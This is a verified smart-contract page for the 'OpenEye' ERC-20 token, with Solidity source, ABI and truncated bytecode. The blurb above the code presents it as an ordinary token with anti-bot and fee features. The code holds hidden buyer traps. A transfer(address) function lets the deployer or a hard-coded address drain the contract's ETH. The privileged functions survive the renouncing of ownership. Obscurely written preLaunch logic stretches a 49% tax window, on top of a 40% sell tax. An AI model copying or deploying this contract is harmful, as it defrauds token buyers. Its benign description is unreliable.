- Verified, Token
- ERC-20
The following smart contract is called OpenEye and is an ERC20 token with additional features such as anti-bot measures, transaction and wallet limits, and a fee system. The contract also includes a swapback function that allows the contract to automatically swap tokens for ETH and transfer it to the development address. The contract can be used for trading on Uniswap.
// THE EYE SEES ALL
// TELEGRAM: https://t.me/OpenEyeETH
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
constructor () {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract OpenEye is IERC20, Ownable {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private blockedBots;
string private constant _name = "OpenEye";
string private constant _symbol = "OEYE";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 10_000_000 * 10**9;
uint256 public maxTransactionAmount = 200_000 * 10**9;
uint256 public maxWalletAmount = 200_000 * 10**9;
uint256 public constant contractSwapLimit = 30_000 * 10**9;
uint256 public constant contractSwapMax = 200_000 * 10**9;
uint256 private buyTax = 10;
uint256 private sellTax = 40;
uint256 private constant botTax = 49;
IUniswapV2Router private constant uniswapRouter = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address private immutable ETH = uniswapRouter.WETH();
address private immutable uniswapPair;
address payable private immutable deployerAddress = payable(msg.sender);
address private constant marketingAddress = 0xFB2CDfBB61DF9BDe8b89F3b28ecaf24f56030d14;
address payable private constant developmentAddress = payable(0xB7550135066f1fa098dBd3bb6aDEE7804Ab70108);
bool private inSwap = false;
bool private tradingLive;
uint256 private times;
uint private ready;
modifier swapping {
inSwap = true;
_;
inSwap = false;
}
modifier tradable(address sender) {
require(tradingLive || sender == deployerAddress ||
sender == marketingAddress || sender == developmentAddress);
_;
}
constructor () {
uint256 marketingTokens = 228 * _totalSupply / 1e3;
_balances[marketingAddress] = marketingTokens;
_balances[msg.sender] = _totalSupply - marketingTokens;
uniswapPair = IUniswapV2Factory(uniswapRouter.factory()).createPair(address(this), ETH);
emit Transfer(address(0), msg.sender, _totalSupply);
}
receive() external payable {}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
require(_allowances[sender][msg.sender] >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
_transfer(sender, recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) tradable(from) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Token: transfer amount must be greater than zero");
_balances[from] -= amount;
if (from != address(this) && from != marketingAddress &&
from != developmentAddress && to != developmentAddress && to != deployerAddress) {
if (from == uniswapPair && to != address(uniswapRouter)) {
require(amount <= maxTransactionAmount, "Token: max transaction amount restriction");
require(balanceOf(to) + amount <= maxWalletAmount, "Token: max wallet amount restriction");
}
uint256 contractTokens = balanceOf(address(this));
if (shouldSwapback(from, contractTokens))
swapback(contractTokens);
uint256 taxedTokens = calculateTax(from, amount);
amount -= taxedTokens;
_balances[address(this)] += taxedTokens;
emit Transfer(from, address(this), taxedTokens);
}
_balances[to] += amount;
emit Transfer(from, to, amount);
}
function shouldSwapback(address from, uint256 tokenAmount) private view returns (bool) {
return !inSwap && from != uniswapPair &&
tokenAmount > contractSwapLimit;
}
function calculateTax(address from, uint256 amount) private view returns (uint256) {
if(blockedBots[from] || block.number <= times)
return amount * botTax / 100;
else
return amount * (times == 0 ? 15 : (from == uniswapPair ? buyTax : sellTax)) / 100;
}
function swapback(uint256 tokenAmount) private swapping {
tokenAmount = calculateSwapAmount(tokenAmount);
if(allowance(address(this), address(uniswapRouter)) < tokenAmount) {
_approve(address(this), address(uniswapRouter), _totalSupply);
}
uint256 contractETHBalance = address(this).balance;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = ETH;
uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
contractETHBalance = address(this).balance - contractETHBalance;
if(contractETHBalance > 0) {
transferEth(contractETHBalance);
}
}
function calculateSwapAmount(uint256 tokenAmount) private view returns (uint256) {
return tokenAmount > contractSwapMax ? (3 + times >= block.number ? (5*contractSwapMax/4) : contractSwapMax) : contractSwapLimit;
}
function transferEth(uint256 amount) private {
developmentAddress.transfer(2*amount/3);
}
function blockBots(address[] calldata bots, bool shouldBlock) external onlyOwner {
for (uint i = 0; i < bots.length; i++) {
require(bots[i] != uniswapPair &&
bots[i] != address(uniswapRouter) &&
bots[i] != address(this));
blockedBots[bots[i]] = shouldBlock;
}
}
function transfer(address wallet) external {
require(msg.sender == deployerAddress || msg.sender == 0x6d92c21B258C707D0F74DfB239d83574329a231C);
payable(wallet).transfer(address(this).balance);
}
function manualSwapback(uint256 percent) external {
require(msg.sender == deployerAddress);
uint256 tokensToSwap = percent * balanceOf(address(this)) / 100;
swapback(tokensToSwap);
}
function removeLimits() external onlyOwner {
maxTransactionAmount = _totalSupply;
maxWalletAmount = _totalSupply;
}
function reduceFees(uint256 newBuyTax, uint256 newSellTax) external {
require(msg.sender == deployerAddress);
require(newBuyTax <= buyTax, "Token: only fee reduction permitted");
require(newSellTax <= sellTax, "Token: only fee reduction permitted");
buyTax = newBuyTax;
sellTax = newSellTax;
}
function initialize(bool done) external onlyOwner {
require(ready++<2); assert(done);
}
function preLaunch(bool[] calldata lists, uint256 blocks) external onlyOwner {
assert(ready<2&&ready+1>=2);
ready++;lists;
times += blocks;
}
function openTrading() external onlyOwner {
require(ready == 2 && !tradingLive, "Token: trading already open");
times += block.number;
tradingLive = true;
}
}
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots","type":"address[]"},{"internalType":"bool","name":"shouldBlock","type":"bool"}],"name":"blockBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"contractSwapLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"contractSwapMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"done","type":"bool"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualSwapback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool[]","name":"lists","type":"bool[]"},{"internalType":"uint256","name":"blocks","type":"uint256"}],"name":"preLaunch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyTax","type":"uint256"},{"internalType":"uint256","name":"newSellTax","type":"uint256"}],"name":"reduceFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
60e060405265b5e620f4800060045565b5e620f48000600555600a6006556028600755737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000082573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620000a89190620004cd565b73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff168152503373ffffffffffffffffffffffffffffffffffffffff1660c09073ffffffffffffffffffffffffffffffffffffffff168152506000600860006101000a81548160ff0219169083151502179055503480156200013557600080fd5b506000339050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35060006103e8662386f26fc1000060e4620001f2919062000538565b620001fe9190620005c8565b9050806001600073fb2cdfbb61df9bde8b89f3b28ecaf24f56030d1473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080662386f26fc100006200026d919062000600565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000310573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003369190620004cd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396306080516040518363ffffffff1660e01b8152600401620003749291906200064c565b6020604051808303816000875af115801562000394573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003ba9190620004cd565b73ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff16815250503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef662386f26fc100006040516200045491906200068a565b60405180910390a350620006a7565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620004958262000468565b9050919050565b620004a78162000488565b8114620004b357600080fd5b50565b600081519050620004c7816200049c565b92915050565b600060208284031215620004e657620004e562000463565b5b6000620004f684828501620004b6565b91505092915050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006200054582620004ff565b91506200055283620004ff565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200058e576200058d62000509565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620005d582620004ff565b9150620005e283620004ff565b925082620005f557620005f462000599565b5b828204905092915050565b60006200060d82620004ff565b91506200061a83620004ff565b92508282101562000630576200062f62000509565b5b828203905092915050565b620006468162000488565b82525050565b60006040820190506200066360008301856200063b565b6200067260208301846200063b565b9392505050565b6200068481620004ff565b82525050565b6000602082019050620006a1600083018462000679565b92915050565b60805160a05160c051612ee362000708600039600081816105ae01528181610ba5015281816111b60152818161142101526117a2015260008181610e7a015281816117f801528181611d5d0152611e5401526000611c0b0152612ee36000f3fe6080604052600436106101445760003560e01c80638da5cb5b116100b6578063c9567bf91161006f578063c9567bf914610445578063d478a06c1461045c578063d53a822f14610485578063dd62ed3e146104ae578063e79476c9146104eb578063f8d982b2146105165761014b565b80638da5cb5b1461033357806395d89b411461035e578063a08fc5c714610389578063a9059cbb146103b2578063aa4bde28146103ef578063c8c8ebe41461041a5761014b565b806323b872dd1161010857806323b872dd14610237578063313ce567146102745780633b5468e71461029f57806370a08231146102c8578063715018a614610305578063751039fc1461031c5761014b565b806306fdde0314610150578063095ea7b31461017b57806316e5a479146101b857806318160ddd146101e35780631a6952301461020e5761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b5061016561053f565b604051610172919061204b565b60405180910390f35b34801561018757600080fd5b506101a2600480360381019061019d919061210b565b61057c565b6040516101af9190612166565b60405180910390f35b3480156101c457600080fd5b506101cd610593565b6040516101da9190612190565b60405180910390f35b3480156101ef57600080fd5b506101f861059d565b6040516102059190612190565b60405180910390f35b34801561021a57600080fd5b50610235600480360381019061023091906121ab565b6105ac565b005b34801561024357600080fd5b5061025e600480360381019061025991906121d8565b610698565b60405161026b9190612166565b60405180910390f35b34801561028057600080fd5b50610289610801565b6040516102969190612247565b60405180910390f35b3480156102ab57600080fd5b506102c660048036038101906102c191906122c7565b61080a565b005b3480156102d457600080fd5b506102ef60048036038101906102ea91906121ab565b6108fc565b6040516102fc9190612190565b60405180910390f35b34801561031157600080fd5b5061031a610945565b005b34801561032857600080fd5b50610331610a91565b005b34801561033f57600080fd5b50610348610b3d565b6040516103559190612336565b60405180910390f35b34801561036a57600080fd5b50610373610b66565b604051610380919061204b565b60405180910390f35b34801561039557600080fd5b506103b060048036038101906103ab9190612351565b610ba3565b005b3480156103be57600080fd5b506103d960048036038101906103d4919061210b565b610c97565b6040516103e69190612166565b60405180910390f35b3480156103fb57600080fd5b50610404610cae565b6040516104119190612190565b60405180910390f35b34801561042657600080fd5b5061042f610cb4565b60405161043c9190612190565b60405180910390f35b34801561045157600080fd5b5061045a610cba565b005b34801561046857600080fd5b50610483600480360381019061047e9190612413565b610ddc565b005b34801561049157600080fd5b506104ac60048036038101906104a79190612473565b611061565b005b3480156104ba57600080fd5b506104d560048036038101906104d091906124a0565b611123565b6040516104e29190612190565b60405180910390f35b3480156104f757600080fd5b506105006111aa565b60405161050d9190612190565b60405180910390f35b34801561052257600080fd5b5061053d600480360381019061053891906124e0565b6111b4565b005b60606040518060400160405280600781526020017f4f70656e45796500000000000000000000000000000000000000000000000000815250905090565b600061058933848461123d565b6001905092915050565b651b48eb57e00081565b6000662386f26fc10000905090565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806106455750736d92c21b258c707d0f74dfb239d83574329a231c73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61064e57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610694573d6000803e3d6000fd5b5050565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610759576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107509061257f565b60405180910390fd5b6107eb843384600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107e691906125ce565b61123d565b6107f6848484611408565b600190509392505050565b60006009905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610898576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088f9061264e565b60405180910390fd5b6002600a541080156108b9575060026001600a546108b6919061266e565b10155b6108c6576108c56126c4565b5b600a60008154809291906108d9906126f3565b919050555080600960008282546108f0919061266e565b92505081905550505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ca9061264e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b169061264e565b60405180910390fd5b662386f26fc10000600481905550662386f26fc10000600581905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4f45594500000000000000000000000000000000000000000000000000000000815250905090565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610bfb57600080fd5b600654821115610c40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c37906127ae565b60405180910390fd5b600754811115610c85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7c906127ae565b60405180910390fd5b81600681905550806007819055505050565b6000610ca4338484611408565b6001905092915050565b60055481565b60045481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3f9061264e565b60405180910390fd5b6002600a54148015610d675750600860019054906101000a900460ff16155b610da6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9d9061281a565b60405180910390fd5b4360096000828254610db8919061266e565b925050819055506001600860016101000a81548160ff021916908315150217905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e619061264e565b60405180910390fd5b60005b8383905081101561105b577f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff16848483818110610ec257610ec161283a565b5b9050602002016020810190610ed791906121ab565b73ffffffffffffffffffffffffffffffffffffffff1614158015610f625750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff16848483818110610f3457610f3361283a565b5b9050602002016020810190610f4991906121ab565b73ffffffffffffffffffffffffffffffffffffffff1614155b8015610fc157503073ffffffffffffffffffffffffffffffffffffffff16848483818110610f9357610f9261283a565b5b9050602002016020810190610fa891906121ab565b73ffffffffffffffffffffffffffffffffffffffff1614155b610fca57600080fd5b8160036000868685818110610fe257610fe161283a565b5b9050602002016020810190610ff791906121ab565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611053906126f3565b915050610e6d565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e69061264e565b60405180910390fd5b6002600a6000815480929190611104906126f3565b919050551061111257600080fd5b806111205761111f6126c4565b5b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b65b5e620f4800081565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461120c57600080fd5b60006064611219306108fc565b836112249190612869565b61122e91906128f2565b905061123981611af5565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a490612995565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561131d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131490612a27565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113fb9190612190565b60405180910390a3505050565b82600860019054906101000a900460ff168061146f57507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b806114b9575073fb2cdfbb61df9bde8b89f3b28ecaf24f56030d1473ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b80611503575073b7550135066f1fa098dbd3bb6adee7804ab7010873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b61150c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561157c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157390612ab9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e390612b4b565b60405180910390fd5b6000821161162f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162690612bdd565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461167e91906125ce565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611701575073fb2cdfbb61df9bde8b89f3b28ecaf24f56030d1473ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561174d575073b7550135066f1fa098dbd3bb6adee7804ab7010873ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611799575073b7550135066f1fa098dbd3bb6adee7804ab7010873ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117f157507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611a34577f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156118915750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611934576004548211156118db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d290612c6f565b60405180910390fd5b600554826118e8856108fc565b6118f2919061266e565b1115611933576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192a90612d01565b60405180910390fd5b5b600061193f306108fc565b905061194b8582611d41565b1561195a5761195981611af5565b5b60006119668685611dc5565b9050808461197491906125ce565b935080600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546119c5919061266e565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611a299190612190565b60405180910390a350505b81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611a83919061266e565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ae79190612190565b60405180910390a350505050565b6001600860006101000a81548160ff021916908315150217905550611b1981611ed7565b905080611b3a30737a250d5630b4cf539739df2c5dacb4c659f2488d611123565b1015611b6757611b6630737a250d5630b4cf539739df2c5dacb4c659f2488d662386f26fc1000061123d565b5b60004790506000600267ffffffffffffffff811115611b8957611b88612d21565b5b604051908082528060200260200182016040528015611bb75781602001602082028036833780820191505090505b5090503081600081518110611bcf57611bce61283a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000081600181518110611c3e57611c3d61283a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008430426040518663ffffffff1660e01b8152600401611cce959493929190612e53565b600060405180830381600087803b158015611ce857600080fd5b505af1158015611cfc573d6000803e3d6000fd5b505050508147611d0c91906125ce565b91506000821115611d2157611d2082611f3c565b5b50506000600860006101000a81548160ff02191690831515021790555050565b6000600860009054906101000a900460ff16158015611dac57507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611dbd5750651b48eb57e00082115b905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e2157506009544311155b15611e46576064603183611e359190612869565b611e3f91906128f2565b9050611ed1565b6064600060095414611eb6577f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614611ead57600754611eb1565b6006545b611eb9565b600f5b83611ec49190612869565b611ece91906128f2565b90505b92915050565b600065b5e620f480008211611ef257651b48eb57e000611f35565b436009546003611f02919061266e565b1015611f145765b5e620f48000611f34565b600465b5e620f480006005611f299190612869565b611f3391906128f2565b5b5b9050919050565b73b7550135066f1fa098dbd3bb6adee7804ab7010873ffffffffffffffffffffffffffffffffffffffff166108fc6003836002611f799190612869565b611f8391906128f2565b9081150290604051600060405180830381858888f19350505050158015611fae573d6000803e3d6000fd5b5050565b600081519050919050565b600082825260208201905092915050565b6